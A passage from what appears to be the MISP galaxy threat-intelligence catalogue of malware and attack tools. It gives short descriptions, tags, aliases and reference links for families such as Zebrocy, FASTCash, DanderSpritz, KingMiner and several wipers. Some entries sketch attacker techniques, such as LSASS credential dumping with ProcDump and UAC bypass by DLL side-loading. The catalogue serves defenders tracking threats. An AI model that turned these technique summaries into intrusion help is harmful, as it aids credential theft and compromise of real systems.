cryptominers present on the system. Another action CroniX takes to establish supremacy on the machine is to check the names of the processes and kill those that swallow 60% of the CPU or more.

The tag is: *misp-galaxy:tool="CroniX"*

Table 24673. Table References

Links
https://www.bleepingcomputer.com/news/security/cronix-cryptominer-kills-rivals-to-reign-supreme/

FASTCash

Treasury has identified a sophisticated cyber-enabled ATM cash out campaign we are calling FASTCash. FASTCash has been active since late 2016 targeting banks in Africa and Asia to remotely compromise payment switch application servers within banks to facilitate fraudulent transactions, primarily involving ATMs, to steal cash equivalent to tens of millions of dollars. FBI has attributed malware used in this campaign to the North Korean government. We expect FASTCash to continue targeting retail payment systems vulnerable to remote exploitation.

The tag is: *misp-galaxy:tool="FASTCash"*

View relationships graph

FASTCash has relationships with:

- similar: misp-galaxy:malpedia="FastCash" with estimative-language:likelihood-probability="almost-certain"

Zebrocy

Zebrocy is a tool used by APT28, which has been observed since late 2015. The communications module used by Zebrocy transmits using HTTP. The implant has key logging and file exfiltration functionality and utilises a file collection capability that identifies files with particular extensions.

The tag is: *misp-galaxy:tool="Zebrocy"*

Zebrocy is also known as:

- Zekapab

View relationships graph

Zebrocy has relationships with:

- similar: misp-galaxy:malpedia="Zebrocy" with estimative-language:likelihood-probability="almost-certain"

Table 24674. Table References

Links
https://www.ncsc.gov.uk/alerts/indicators-compromise-malware-used-apt28

CoalaBot

The tag is: *misp-galaxy:tool="CoalaBot"*

View relationships graph

CoalaBot has relationships with:

- similar: misp-galaxy:malpedia="CoalaBot" with estimative-language:likelihood-probability="almost-certain"

Table 24675. Table References

Links
https://malware.dontneedcoffee.com/2017/10/coalabot-http-ddos-bot.html

DanderSpritz

DanderSpritz consists entirely of plugins to gather intelligence, use exploits and examine already controlled machines. It is written in Java and provides a graphical windows interface similar to botnets administrative panels as well as a Metasploit-like console interface. It also includes its own backdoors and plugins for not-FuzzBunch-controlled victims DanderSpritz is the framework for controlling infected machines, different from FuZZbuNch as the latter provides a limited toolkit for the post-exploitation stage with specific functions such as DisableSecurity and EnableSecurity for DarkPulsar. For DanderSpritz works for a larger range of backdoors, using PeedleCheap in the victim to enable operators launching plugins. PeddleCheap is a plugin of DanderSpritz which can be used to configure implants and connect to infected machines. Once a connection is established all DanderSpritz post-exploitation features become available.

The tag is: *misp-galaxy:tool="DanderSpritz"*

DanderSpritz is also known as:

- Dander Spritz

Table 24676. Table References

Links
https://securelist.com/darkpulsar/88199/

DarkPulsar

DarkPulsar is a very interesting administrative module for controlling a passive backdoor named ‘sipauth32.tsp’ that provides remote control.

The tag is: *misp-galaxy:tool="DarkPulsar"*

DarkPulsar is also known as:

- Dark Pulsar

View relationships graph

DarkPulsar has relationships with:

- similar: misp-galaxy:malpedia="DarkPulsar" with estimative-language:likelihood-probability="almost-certain"

Table 24677. Table References

Links
https://securelist.com/darkpulsar/88199/

EASYFUN

EasyFun 2.2.0 Exploit for WDaemon / IIS MDaemon/WorldClient pre 9.5.6 WordClient / IIS6.0 exploit

The tag is: *misp-galaxy:tool="EASYFUN"*

Table 24678. Table References

Links
https://github.com/misterch0c/shadowbroker

ETCETERABLUE

an exploit for IMail 7.04 to 8.05

The tag is: *misp-galaxy:tool="ETCETERABLUE"*

Table 24679. Table References

Links
https://github.com/misterch0c/shadowbroker

EXPIREDPAYCHECK

IIS6 exploit

The tag is: *misp-galaxy:tool="EXPIREDPAYCHECK"*

Table 24680. Table References

Links
https://github.com/misterch0c/shadowbroker

EAGERLEVER

NBT/SMB exploit for Windows NT4.0, 2000, XP SP1 & SP2, 2003 SP1 & Base Release

The tag is: *misp-galaxy:tool="EAGERLEVER"*

Table 24681. Table References

Links
https://github.com/misterch0c/shadowbroker

ESSAYKEYNOTE

The tag is: *misp-galaxy:tool="ESSAYKEYNOTE"*

Table 24682. Table References

Links
https://github.com/misterch0c/shadowbroker

EVADEFRED

The tag is: *misp-galaxy:tool="EVADEFRED"*

Table 24683. Table References

Links
https://github.com/misterch0c/shadowbroker

NAMEDPIPETOUCH

Utility to test for a predefined list of named pipes, mostly AV detection. User can add checks for custom named pipes.

The tag is: *misp-galaxy:tool="NAMEDPIPETOUCH"*

Table 24684. Table References

Links
https://github.com/misterch0c/shadowbroker

GhostMiner

GhostMiner is a new cryptocurrency mining malware. By the end of March 2018, a new variant of mining malware was detected targeting MSSQL, phpMyAdmin, and Oracle WebLogic servers. The sample uses Powershell to execute code with volatile resources and scans the server's processes to detect and stop other miners that might have been running prior to execution. The fileless malware has become more popular in the last years. The malicious code runs directly in main memory

without writing any file on disk, where an antivirus engine could detect it.

The tag is: *misp-galaxy:tool="GhostMiner"*

View relationships graph

GhostMiner has relationships with:

- similar: misp-galaxy:malpedia="GhostMiner" with estimative-language:likelihood-probability="almost-certain"

Table 24685. Table References

Links
https://www.alienvault.com/forums/discussion/17301/alienvault-labs-threat-intelligence-update-for-usm-anywhere-march-25-march-31-2018

August

August contains stealing functionality targeting credentials and sensitive documents from the infected computer.

The tag is: *misp-galaxy:tool="August"*

August is also known as:

- August Stealer

Table 24686. Table References

Links
https://www.proofpoint.com/uk/threat-insight/post/august-in-december-new-information-stealer-hits-the-scene

China Chopper

China Chopper is a publicly available, well-documented web shell, in widespread use since 2012.

The tag is: *misp-galaxy:tool="China Chopper"*

Table 24687. Table References

Links
https://www.ncsc.gov.uk/content/files/protected_files/article_files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf

PNG Dropper

The PNG_dropper family primarily uses a modified version of the publicly available tool

JPEGView.exe (version 1.0.32.1 – both x86 and x64 bit versions). Carbon Black Threat Research also observed where PNG_dropper malware was seen compiled into a modified version of the 7-Zip File Manager Utility (version 9.36.0.0 – x64 bit).

The tag is: *misp-galaxy:tool="PNG Dropper"*

PNG Dropper is also known as:

- PNG_Dropper
- PNGDropper

Table 24688. Table References

Links
https://www.carbonblack.com/2017/08/18/threat-analysis-carbon-black-threat-research-dissects-png-dropper/
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/november/turla-png-dropper-is-back/

Rotexy

A mobile spyware that turned into a banking trojan with ransomware capabilities managed to launch over 70,000 attacks in the course of just three months.

The tag is: *misp-galaxy:tool="Rotexy"*

Rotexy is also known as:

- SMSThief

Table 24689. Table References

Links
https://www.bleepingcomputer.com/news/security/rotexy-mobile-trojan-launches-70k-attacks-in-three-months/

KingMiner

A recently discovered cryptomining operation forces access to Windows servers to use their CPU cycles for mining Monero coins. Detected six months ago, the activity went through multiple stages of evolution. Since it was spotted in mid-June, the malware received two updates and the number of attacks keeps increasing. The researchers at CheckPoint analyzed the new threat and gave it the name KingMiner. They found that it targets Microsoft IIS and SQL Servers in particular and runs a brute-force attack to gain access. Once in, the malware determines the CPU architecture and checks for older versions of itself to remove them.

The tag is: *misp-galaxy:tool="KingMiner"*

View relationships graph

KingMiner has relationships with:

- similar: misp-galaxy:malpedia="Kingminer" with estimative-language:likelihood-probability="almost-certain"

Table 24690. Table References

Links
https://www.bleepingcomputer.com/news/security/new-kingminer-threat-shows-cryptominer-evolution/

Taurus

Toolkit - building kit for crafting documents used to deliver attacks

The tag is: *misp-galaxy:tool="Taurus"*

Table 24691. Table References

Links
https://medium.com/@quoscient/golden-chickens-uncovering-a-malware-as-a-service-maas-provider-and-two-new-threat-actors-using-61cf0cb87648

Terra Loader

The tag is: *misp-galaxy:tool="Terra Loader"*

Table 24692. Table References

Links
https://medium.com/@quoscient/golden-chickens-uncovering-a-malware-as-a-service-maas-provider-and-two-new-threat-actors-using-61cf0cb87648

SpicyOmelette

In 2018, CTU researchers observed several GOLD KINGSWOOD campaigns involving SpicyOmelette, a tool used by the group during initial exploitation of an organization. This sophisticated JavaScript remote access tool is generally delivered via phishing, and it uses multiple defense evasion techniques to hinder prevention and detection activities. GOLD KINGSWOOD delivered SpicyOmelette through a phishing email containing a shortened link that appeared to be a PDF document attachment. When clicked, the link used the Google AppEngine to redirect the system to a GOLD KINGSWOOD-controlled Amazon Web Services (AWS) URL that installed a signed JavaScript file, which was SpicyOmelette.

The tag is: *misp-galaxy:tool="SpicyOmelette"*

Table 24693. Table References

Links

https://medium.com/@quoscient/golden-chickens-uncovering-a-malware-as-a-service-maas-provider-and-two-new-threat-actors-using-61cf0cb87648
https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish

LamePyre

When LamePyre runs on the system, users see the generic Automator icon in the menu bar, which is typical for any script of this sort. The script decodes a payload written in Python and runs it on the victim host. It then starts to take pictures and upload them to the attacker's command and control (C2) server.

The tag is: *misp-galaxy:tool="LamePyre"*

LamePyre is also known as:

- OSX.LamePyre

Table 24694. Table References

Links
https://www.bleepingcomputer.com/news/security/new-lamepyre-macos-malware-sends-screenshots-to-attacker/

DarthMiner

The tag is: *misp-galaxy:tool="DarthMiner"*

View relationships graph

DarthMiner has relationships with:

- similar: misp-galaxy:malpedia="DarthMiner" with estimative-language:likelihood-probability="almost-certain"

Table 24695. Table References

Links
https://www.bleepingcomputer.com/news/security/new-lamepyre-macos-malware-sends-screenshots-to-attacker/

OSX.BadWord

The tag is: *misp-galaxy:tool="OSX.BadWord"*

Table 24696. Table References

Links

https://www.bleepingcomputer.com/news/security/new-lamepyre-macos-malware-sends-screenshots-to-attacker/

OSX/Shlayer

The initial Trojan horse infection (the fake Flash Player installer) component of OSX/Shlayer leverages shell scripts to download additional malware or adware onto the infected system. The primary goal of OSX/Shlayer is to download and install adware onto an infected Mac. Although "adware" may not sound like a big deal, it can be a lot more harmful than the name implies; be sure to watch our aforementioned interview with Amit Serper to learn more about one particular example of malicious Mac adware. At least one variant of the malware also appears to exhibit an interesting behavior: It checks whether one of several Mac anti-virus products is installed.

The tag is: *misp-galaxy:tool="OSX/Shlayer"*

Table 24697. Table References

Links
https://www.intego.com/mac-security-blog/osxshlayer-new-mac-malware-comes-out-of-its-shell/

Bushaloader

The tag is: *misp-galaxy:tool="Bushaloader"*

Table 24698. Table References

Links
https://www.virusbulletin.com/blog/2019/02/malspam-security-products-miss-banking-and-email-phishing-emotet-and-bushaloader/

ANEL

Backdoor

The tag is: *misp-galaxy:tool="ANEL"*

ANEL is also known as:

- UPPERCUT

View relationships graph

ANEL has relationships with:

- similar: misp-galaxy:malpedia="Anel" with estimative-language:likelihood-probability="almost-certain"

Table 24699. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/chessmaster-adds-updated-tools-to-its-arsenal/
https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html

BabyShark

BabyShark is a relatively new malware. The earliest sample we found from open source repositories and our internal data sets was seen in November 2018. The malware is launched by executing the first stage HTA from a remote location, thus it can be delivered via different file types including PE files as well as malicious documents. It exfiltrates system information to C2 server, maintains persistence on the system, and waits for further instruction from the operator.

The tag is: *misp-galaxy:tool="BabyShark"*

View relationships graph

BabyShark has relationships with:

- similar: misp-galaxy:malpedia="BabyShark" with estimative-language:likelihood-probability="almost-certain"
- used-by: misp-galaxy:threat-actor="Kimsuky" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="BabyShark - S0414" with estimative-language:likelihood-probability="likely"

Table 24700. Table References

Links
https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/

StealthWorker

Hackers are running a new campaign which drops the StealthWorker brute-force malware on Windows and Linux machines that end up being used to brute force other computers in a series of distributed brute force attacks. As unearthed by FortiGuard Labs' Rommel Joven, the StealthWorker Golang-based brute forcer (also known as GoBrut) discovered by Malwarebytes at the end of February is actively being used to target and compromise multiple platforms. StealthWorker was previously connected to a number of compromised Magento-powered e-commerce websites on which attackers infiltrated skimmers designed to exfiltrate both payment and personal information. As later discovered, the malware is capable of exploiting a number of vulnerabilities in to infiltrate Magento, phpMyAdmin, and cPanel Content Management Systems (CMSs), as well as brute force its way in if everything else fails.

The tag is: *misp-galaxy:tool="StealthWorker"*

Table 24701. Table References

Links
https://www.bleepingcomputer.com/news/security/stealthworker-malware-uses-windows-linux-bots-to-hack-websites/

SLUB Backdoor

The SLUB backdoor is a custom one written in the C++ programming language, statically linking curl library to perform multiple HTTP requests. Other statically-linked libraries are boost (for extracting commands from gist snippets) and JsonCpp (for parsing slack channel communication).

The tag is: *misp-galaxy:tool="SLUB Backdoor"*

View relationships graph

SLUB Backdoor has relationships with:

- similar: misp-galaxy:backdoor="SLUB" with estimative-language:likelihood-probability="likely"

Table 24702. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/new-slub-backdoor-uses-github-communicates-via-slack/

Carp Downloader

In 2017, Unit 42 reported on and analyzed a low-volume malware family called Cardinal RAT. This malware family had remained undetected for over two years and was delivered via a unique downloader named Carp Downloader.

The tag is: *misp-galaxy:tool="Carp Downloader"*

Table 24703. Table References

Links
https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/

EVILNUM

EVILNUM is a JavaScript-based malware family that is used in attacks against similar organizations.

The tag is: *misp-galaxy:tool="EVILNUM"*

View relationships graph

EVILNUM has relationships with:

- similar: misp-galaxy:rat="Cardinal" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Cardinal RAT" with estimative-language:likelihood-probability="likely"

Table 24704. Table References

Links
https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/

Brushaloader

Brushaloader also leverages a combination of VBScript and PowerShell to create a Remote Access Trojan (RAT) that allows persistent command execution on infected systems.

The tag is: *misp-galaxy:tool="Brushaloader"*

View relationships graph

Brushaloader has relationships with:

- similar: misp-galaxy:malpedia="BrushaLoader" with estimative-language:likelihood-probability="almost-certain"

Table 24705. Table References

Links
https://blog.talosintelligence.com/2019/02/combing-through-brushaloader.html

Karkoff

In addition to increased reports of threat activity, we have also discovered new evidence that the threat actors behind the DNSpionage campaign continue to change their tactics, likely in an attempt to improve the efficacy of their operations. In February, we discovered some changes to the actors' tactics, techniques and procedures (TTPs), including the use of a new reconnaissance phase that selectively chooses which targets to infect with malware. In April 2019, we also discovered the actors using a new malware, which we are calling Karkoff.

The tag is: *misp-galaxy:tool="Karkoff"*

View relationships graph

Karkoff has relationships with:

- similar: misp-galaxy:malpedia="Karkoff" with estimative-language:likelihood-probability="almost-certain"

Table 24706. Table References

Links

https://blog.talosintelligence.com/2019/04/dnspionage-brings-out-karkoff.html

KimJongRAT

We conclude that this RAT/stealeris efficient and was also really interesting to analyse.Furthermore, the creator made effortsto look Korean, for example the author of the .pdf file is Kim Song Chol. He is the brother of Kim Jong-un, the leader of North Korea. We identified that the author of a variant of this stealer is another brother of Kim Jong-un. Maybe the author named every variant withthe name of each brother. After some searches using Google, we identified anold variant of this malware here: http://contagiodump.blogspot.ca/2010/10/oct-08-cve-2010-2883-pdf-nuclear.html. The code of the malware available on the blog is closeto our case but with fewer features. In 2010, the password of the Gmail account was futurekimkim. Three years ago, the author was already fixatedon the Kim family…The language of the resource stored in the .dll file is Korean (LANG_KOREAN). The owner of the gmail mailbox is laoshi135.zhangand the secret question of this account is in Korean too.We don't know if the malware truly comesfrom Korea.However, thanks to these factors, we decided to name this sample KimJongRAT/Stealer.

The tag is: *misp-galaxy:tool="KimJongRAT"*

View relationships graph

KimJongRAT has relationships with:

- similar: misp-galaxy:malpedia="KimJongRat" with estimative-language:likelihood-probability="almost-certain"

Table 24707. Table References

Links
https://malware.lu/assets/files/articles/RAP003_KimJongRAT-Stealer_Analysis.1.0.pdf

Cowboy

Based on our research, it appears the malware author calls the encoded secondary payload "Cowboy" regardless of what malware family is delivered.

The tag is: *misp-galaxy:tool="Cowboy"*

Table 24708. Table References

Links
https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/

JasperLoader

JasperLoader employs a multi-stage infection process that features several obfuscation techniques that make analysis more difficult. It appears that this loader was designed with resiliency and

flexibility in mind, as evidenced in later stages of the infection process.

The tag is: *misp-galaxy:tool="JasperLoader"*

View relationships graph

JasperLoader has relationships with:

- similar: misp-galaxy:malpedia="JasperLoader" with estimative-language:likelihood-probability="almost-certain"

Table 24709. Table References

Links
https://blog.talosintelligence.com/2019/04/jasperloader-targets-italy.html?m=1

Scranos

The malware Scranos infects with rootkit capabilities, burying deep into vulnerable Windows computers to gain persistent access — even after the computer restarts. Scranos only emerged in recent months, according to Bitdefender with new research out Tuesday, but the number of its infections has rocketed in the months since it was first identified in November.

The tag is: *misp-galaxy:tool="Scranos"*

View relationships graph

Scranos has relationships with:

- similar: misp-galaxy:malpedia="Scranos" with estimative-language:likelihood-probability="almost-certain"

Table 24710. Table References

Links
https://labs.bitdefender.com/2019/04/inside-scranos-a-cross-platform-rootkit-enabled-spyware-operation/
https://techcrunch.com/2019/04/16/scranos-rootkit-passwords-payments/?guccounter=1&guce_referrer_us=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS8&guce_referrer_cs=MrGSn18TmNoWovpLbekFYA

Reaver

Unit 42 has discovered a new malware family we've named "Reaver" with ties to attackers who use SunOrcal malware. SunOrcal activity has been documented to at least 2013, and based on metadata surrounding some of the C2s, may have been active as early as 2010. The new family appears to have been in the wild since late 2016 and to date we have only identified 10 unique samples, indicating it may be sparingly used. Reaver is also somewhat unique in the fact that its final payload is in the form of a Control panel item, or CPL file. To date, only 0.006% of all malware seen

by Palo Alto Networks employs this technique, indicating that it is in fact fairly rare.

The tag is: *misp-galaxy:tool="Reaver"*

View relationships graph

Reaver has relationships with:

- similar: misp-galaxy:tool="SunOrcal" with estimative-language:likelihood-probability="roughly-even-chance"
- similar: misp-galaxy:tool="SURTR" with estimative-language:likelihood-probability="roughly-even-chance"
- similar: misp-galaxy:malpedia="Reaver" with estimative-language:likelihood-probability="almost-certain"

Table 24711. Table References

Links
https://unit42.paloaltonetworks.com/unit42-new-malware-with-ties-to-sunorcal-discovered/
https://threatvector.cylance.com/en_us/home/reaver-mapping-connections-between-disparate-chinese-apt-groups.html

SURTR

The Citizen Lab analyzed a malicious email sent to Tibetan organizations in June 2013. The email in question purported to be from a prominent member of the Tibetan community and repurposed content from a community mailing list. Attached to the email were what appeared to be three Microsoft Word documents (.doc), but which were trojaned with a malware family we call “Surtr”.1 All three attachments drop the exact same malware. We have seen the Surtr malware family used in attacks on Tibetan groups dating back to November 2012.

The tag is: *misp-galaxy:tool="SURTR"*

View relationships graph

SURTR has relationships with:

- similar: misp-galaxy:tool="Reaver" with estimative-language:likelihood-probability="roughly-even-chance"
- similar: misp-galaxy:tool="SunOrcal" with estimative-language:likelihood-probability="roughly-even-chance"
- similar: misp-galaxy:malpedia="surtr" with estimative-language:likelihood-probability="almost-certain"

Table 24712. Table References

Links
https://citizenlab.ca/2013/08/surtr-malware-family-targeting-the-tibetan-community/

https://otx.alienvault.com/pulse/588a7c8fe4166d1d84244b9a

SunOrcal

SunOrcal is a trojan malware family whose activity dates back to at least 2013. A version discovered in November 2017 incorporates steganography techniques and can collect C2 information via GitHub, obscuring its C2 infrastructure and evading detection using the legitimate site for its first beacon. The threat actors have targeted users in the Vietnam area, spreading phishing emails containing malicious documents purportedly regarding South China Sea disputes. The new SunOrcal version has also been used with the recently discovered Reaver trojan and the original SunOrcal version. Some of the recent activity also incorporates the use of the Surtr malware.

The tag is: *misp-galaxy:tool="SunOrcal"*

View relationships graph

SunOrcal has relationships with:

- similar: misp-galaxy:tool="Reaver" with estimative-language:likelihood-probability="roughly-even-chance"
- similar: misp-galaxy:tool="SURTR" with estimative-language:likelihood-probability="roughly-even-chance"
- similar: misp-galaxy:malpedia="SunOrcal" with estimative-language:likelihood-probability="almost-certain"

Table 24713. Table References

Links
https://unit42.paloaltonetworks.com/unit42-sunorcal-adds-github-steganography-repertoire-expands-vietnam-myanmar/
https://www.cyber.nj.gov/threat-profiles/trojan-variants/sunorcal

Bookworm

Threat actors have delivered Bookworm as a payload in attacks on targets in Thailand. Readers who are interested in this campaign should start with our first blog that lays out the overall functionality of the malware and introduces its many components. Unit 42 does not have detailed targeting information for all known Bookworm samples, but we are aware of attempted attacks on at least two branches of government in Thailand. We speculate that other attacks delivering Bookworm were also targeting organizations in Thailand based on the contents of the associated decoys documents, as well as several of the dynamic DNS domain names used to host C2 servers that contain the words “Thai” or “Thailand”. Analysis of compromised systems seen communicating with Bookworm C2 servers also confirms our speculation on targeting with a majority of systems existing within Thailand.

The tag is: *misp-galaxy:tool="Bookworm"*

View relationships graph

Bookworm has relationships with:

- similar: misp-galaxy:malpedia="Bookworm" with estimative-language:likelihood-probability="almost-certain"

Table 24714. Table References

Links
https://unit42.paloaltonetworks.com/attack-campaign-on-the-government-of-thailand-delivers-bookworm-trojan/
https://unit42.paloaltonetworks.com/bookworm-trojan-a-model-of-modular-architecture/

Amavaldo

We named the malware family described in the rest of this blog post Amavaldo. This family is still in active development – the latest version we have observed (10.7) has a compilation timestamp of June 10th, 2019.

The tag is: *misp-galaxy:tool="Amavaldo"*

Table 24715. Table References

Links
https://www.welivesecurity.com/2019/08/01/banking-trojans-amavaldo/

TVSPY

hacker going by the handle Mr. Burns. He also created something similar called RMS, which behaves very much like the TVSPY builder. “RMS/TVSPY continues to be developed, with a new version being posted by the developer/reseller on a regular basis,” Damballa researchers noted. “In fact, the legitimate RMS version developed by TektonIT and the version posted in criminal forums appear to be identical. TVSPY seems to be merely a modification of RMS to utilize TeamViewer infrastructure and a command-and-control interface manageable through the Web.

The tag is: *misp-galaxy:tool="TVSPY"*

TVSPY is also known as:

- TVRAT
- SpY-Agent
- teamspy

Table 24716. Table References

Links
https://mobile.twitter.com/SaudiDFIR/status/1177740045186457600

COMpfun

The COMpfun malware was initially documented by G-DATA in 2014. Although G-DATA didn't identify which actor was using this malware, Kaspersky tentatively linked it to the Turla APT, based on the victimology. Our telemetry indicates that the current campaign using Reductor started at the end of April 2019 and remained active at the time of writing (August 2019). We identified targets in Russia and Belarus.

The tag is: *misp-galaxy:tool="COMpfun"*

View relationships graph

COMpfun has relationships with:

- similar: misp-galaxy:malpedia="COMpfun" with estimative-language:likelihood-probability="almost-certain"

Table 24717. Table References

Links
https://securelist.com/compfun-successor-reductor/93633/
https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence

Reductor

We called these new modules 'Reductor' after a .pdb path left in some samples. Besides typical RAT functions such as uploading, downloading and executing files, Reductor's authors put a lot of effort into manipulating digital certificates and marking outbound TLS traffic with unique host-related identifiers. The Kaspersky Attribution Engine shows strong code similarities between this family and the COMPfun Trojan. Moreover, further research showed that the original COMpfun Trojan most probably is used as a downloader in one of the distribution schemes. Based on these similarities, we're quite sure the new malware was developed by the COMPfun authors.

The tag is: *misp-galaxy:tool="Reductor"*

Table 24718. Table References

Links
https://securelist.com/compfun-successor-reductor/93633/

ProcDump

Legitimate tool - command-line tool used to monitor a running process and dump memory depending on customcriteria. The attackers use this tool to dump the LSASS process to gatherWINDOWScredentials hashes

The tag is: *misp-galaxy:tool="ProcDump"*

CertMig

Legitimate tool - command-line tool used to import and export certificates on a machine. The attackers use this toolto gather credentials used for VPN authentication to the clients' networks

The tag is: *misp-galaxy:tool="CertMig"*

Netscan

Legitimate tool - tool used to scan IPv4/IPv6 networks and remotely execute PowerShell commands.

The tag is: *misp-galaxy:tool="Netscan"*

ShadowHammer

Malware embedded in Asus Live Update in 2018. ShadowHammer triggers its malicious behavior only if the computer it is running on has a network adapter with the MAC address whitelisted by the attacker.

The tag is: *misp-galaxy:tool="ShadowHammer"*

View relationships graph

ShadowHammer has relationships with:

- similar: misp-galaxy:malpedia="shadowhammer" with estimative-language:likelihood-probability="almost-certain"

Table 24719. Table References

Links
https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Winnti.pdf

DePriMon

DePriMon is a malicious downloader, with several stages and using many non-traditional techniques. To achieve persistence, the malware registers a new local port monitor – a trick falling under the "Port Monitors" technique in the MITRE ATT&CK knowledgebase. For that, the malware uses the "Windows Default Print Monitor" name; that's why we have named it DePriMon. Due to its complexity and modular architecture, we consider it to be a framework.

The tag is: *misp-galaxy:tool="DePriMon"*

View relationships graph

DePriMon has relationships with:

- similar: misp-galaxy:malpedia="Deprimon" with estimative-language:likelihood-probability="almost-certain"

Table 24720. Table References

Links
https://www.bleepingcomputer.com/news/security/deprimon-malware-registers-itself-as-a-windows-print-monitor/
https://www.welivesecurity.com/2019/11/21/deprimon-default-print-monitor-malicious-downloader/

Private Internet Access

Private Internet Access provides state of the art, multi-layered security with advanced privacy protection using VPN tunneling.

The tag is: *misp-galaxy:tool="Private Internet Access"*

Private Internet Access is also known as:

- PIA

Table 24721. Table References

Links
https://www.privateinternetaccess.com/

Netcat

Reads from and writes to network connections using TCP or UDP protocols.

The tag is: *misp-galaxy:tool="Netcat"*

NBTScan

NBTScan is a program for scanning IP networks for NetBIOS name information (similar to what the Windows nbtstat tool provides against single hosts). It sends a NetBIOS status query to each address in a supplied range and lists received information in human readable form. For each responded host it lists IP address, NetBIOS computer name, logged-in user name and MAC address.

The tag is: *misp-galaxy:tool="NBTScan"*

Table 24722. Table References

Links
https://sectools.org/tool/nbtscan/

PowerGhost

PowerGhost is capable of stealthily establishing itself in a system and spreading across large corporate networks infecting both workstations and servers. This type of hidden consolidation is

typical of miners: the more machines that get infected and the longer they remain that way, the greater the attacker's profits. Therefore, it's not uncommon to see clean software being infected with a miner; the popularity of the legitimate software serves to promote the malware's proliferation. The creators of PowerGhost, however, went further and started using fileless techniques to establish the illegal miner within the victim system.

The tag is: *misp-galaxy:tool="PowerGhost"*

Table 24723. Table References

Links
https://securelist.com/a-mining-multitool/86950/

VBEtaly

Check Point researchers have found another wave of the Ursnif malspam campaign targeting Italy. Only a few details are known so far but what we have found is that the file delivered is a VBE file (encoded VBS) named "SCANSIONE.vbe" and is delivered via ZIP attachments in emails with the subject suggesting different documents in Italian.

The tag is: *misp-galaxy:tool="VBEtaly"*

Table 24724. Table References

Links
https://research.checkpoint.com/vbetaly/

ZeroCleare

ZeroCleare was used to execute a destructive attack that affected organizations in the energy and industrial sectorsin the Middle East. Based on the analysis of the malware and the attackers' behavior, we suspect Iran-based nation state adversaries were involved to develop and deploy this new wiper.

The tag is: *misp-galaxy:tool="ZeroCleare"*

View relationships graph

ZeroCleare has relationships with:

- similar: misp-galaxy:malpedia="ZeroCleare" with estimative-language:likelihood-probability="almost-certain"

Table 24725. Table References

Links
https://www.ibm.com/downloads/cas/OAJ4VZNJ

Dustman

At the heart of the recent Bapco attack is a new strain of malware named Dustman. According to an analysis by Saudi Arabia's cyber-security agency, Dustman is a so-called data wiper — malware designed to delete data on infected computers, once launched into execution. Dustman represents the third different data-wiping malware linked to the Tehran regime. Iranian state-backed hackers have a long history of developing data-wiping malware.

The tag is: *misp-galaxy:tool="Dustman"*

View relationships graph

Dustman has relationships with:

- similar: misp-galaxy:malpedia="DUSTMAN" with estimative-language:likelihood-probability="almost-certain"

Table 24726. Table References

Links
https://mobile.twitter.com/IntezerLabs/status/1215252764080644098

Autochk Rootkit

This rootkit is a very simple. The name of the driver is "autochk.sys" - that's why we'll call it the autochk rootkit. The rootkit implements 2 functionalities: File Redirection and Network Connection Hiding.

The tag is: *misp-galaxy:tool="Autochk Rootkit"*

Table 24727. Table References

Links
https://repnz.github.io/posts/autochk-rootkit-analysis/

Lampion

New trojan called Lampion has spread using template emails from the Portuguese Government Finance & Tax during the last days of 2019.

The tag is: *misp-galaxy:tool="Lampion"*

View relationships graph

Lampion has relationships with:

- similar: misp-galaxy:malpedia="lampion" with estimative-language:likelihood-probability="almost-certain"

Table 24728. Table References

Links
https://seguranca-informatica.pt/targeting-portugal-a-new-trojan-lampion-has-spread-using-template-emails-from-the-portuguese-government-finance-tax/

LiquorBot

Bitdefender researchers tracked the development of a Mirai-inspired botnet, dubbed LiquorBot, which seems to be actively in development and has recently incorporated Monero cryptocurrency mining features.

The tag is: *misp-galaxy:tool="LiquorBot"*

View relationships graph

LiquorBot has relationships with:

- similar: misp-galaxy:malpedia="LiquorBot" with estimative-language:likelihood-probability="almost-certain"

Table 24729. Table References

Links
https://labs.bitdefender.com/2020/01/hold-my-beer-mirai-spinoff-named-liquorbot-incorporates-cryptomining/

Gelup malware tool

Written in C++ and designed to function as a downloader of other malware, Gelup stood out for its obfuscation techniques. Gelup can also bypass User Account Control (UAC) by mocking trusted directories, abusing auto-elevated executables and using the Dynamic Link Library (DLL) side-loading technique.

The tag is: *misp-galaxy:tool="Gelup malware tool"*

Gelup malware tool is also known as:

- AndroMut

Table 24730. Table References

Links
https://securityintelligence.com/news/ta505-delivers-new-gelup-malware-tool-flowerpippi-backdoor-via-spam-campaign/

DenesRAT

DenesRAT is a private Trojan horse of the "Sea Lotus" organization, which can perform corresponding functions according to the instructions issued by the C2 server. The main functions

are file operations, such as creating files or directories, deleting files or directories, finding files; registry reading and writing; remote code execution, such as creating processes, executing DLLs, etc....

The tag is: *misp-galaxy:tool="DenesRAT"*

DenesRAT is also known as:

- METALJACK

Table 24731. Table References

Links
http://baijiahao.baidu.com/s?id=1661498030941117519
https://www.fireeye.com/blog/threat-research/2020/04/apt32-targeting-chinese-government-in-covid-19-related-espionage.html

Sedkit

Sednit's Exploit-Kit

The tag is: *misp-galaxy:tool="Sedkit"*

Sedkit is also known as:

Table 24732. Table References

Links
https://www.welivesecurity.com/2014/10/08/sednit-espionage-group-now-using-custom-exploit-kit/
https://www.welivesecurity.com/2016/10/20/new-eset-research-paper-puts-sednit-under-the-microscope/

Covenant

Covenant is a .NET command and control framework that aims to highlight the attack surface of .NET, make the use of offensive .NET tradecraft easier, and serve as a collaborative command and control platform for red teamers.

The tag is: *misp-galaxy:tool="Covenant"*

Covenant is also known as:

Table 24733. Table References

Links
https://github.com/cobbr/Covenant/

Cobalt Strike

Cobalt Strike is a post-exploitation framework.

